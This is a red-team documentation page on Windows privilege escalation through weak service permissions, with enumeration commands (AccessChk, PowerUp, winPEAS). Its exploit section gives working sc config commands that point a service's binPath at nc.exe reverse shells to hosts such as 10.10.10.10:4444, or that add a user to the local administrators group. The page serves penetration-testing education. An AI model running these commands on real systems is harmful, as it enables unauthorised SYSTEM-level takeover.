> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/privilege-escalation/windows/services/weak-service-permissions.md).

# Weak Service Permissions

## Theory

It is very often in Windows environments to discover services that run with SYSTEM privileges. If you have permissions over the service you can use it to escalate you privileges.

## Practice

If we have enough permissions over a service, we can edit the `binPath` parameters and replace it with our own binary or command.

{% tabs %}
{% tab title="Enumerate" %}
If you have `SERVICE_CHANGE_CONFIG` or `SERVICE_ALL_ACCESS` permissions, you can replace the binary.

**AccessChk**

We can use [AccessChk](https://learn.microsoft.com/fr-fr/sysinternals/downloads/accesschk) from sysinternals tools to enumerate permissions over services.

```powershell
#list all the services that a specific user can modify.
accesschk64.exe -uwcqv "pwned" * -accepteula
accesschk64.exe -uwcqv "Authenticated Users" * -accepteula
accesschk64.exe -uwcqv "BUILTIN\Users" * -accepteula
accesschk.exe -uwcqv %USERNAME% * -accepteula

#list permissions for "VulnSvc" service.
accesschk64.exe -uwcqv VulnSvc -accepteula
```

**PowerUp**

This cmdlet from [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) can also be used.

```powershell
. .\PowerUp.ps1
Get-ModifiableService
```

**winPEAS**

Or, we may use the `servicesinfo` module of [WinPeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS).

```powershell
winPEASx64.exe servicesinfo
```

{% endtab %}

{% tab title="Exploit" %}
We can edit the binpath parameter with following commands

```powershell
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config <Service_Name> binpath= "C:\Documents and Settings\PEPE\reverseShell.exe"
```

And then, restart the service

```powershell
#Using wmic
wmic service <Service_Name> call stopservice
wmic service <Service_Name> call startservice

#Using net
net stop <Service_Name> && net start <Service_Name>

#Using sc.exe
sc stop <Service_Name>
sc start <Service_Name>
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---incorrect-permissions-in-services>" %}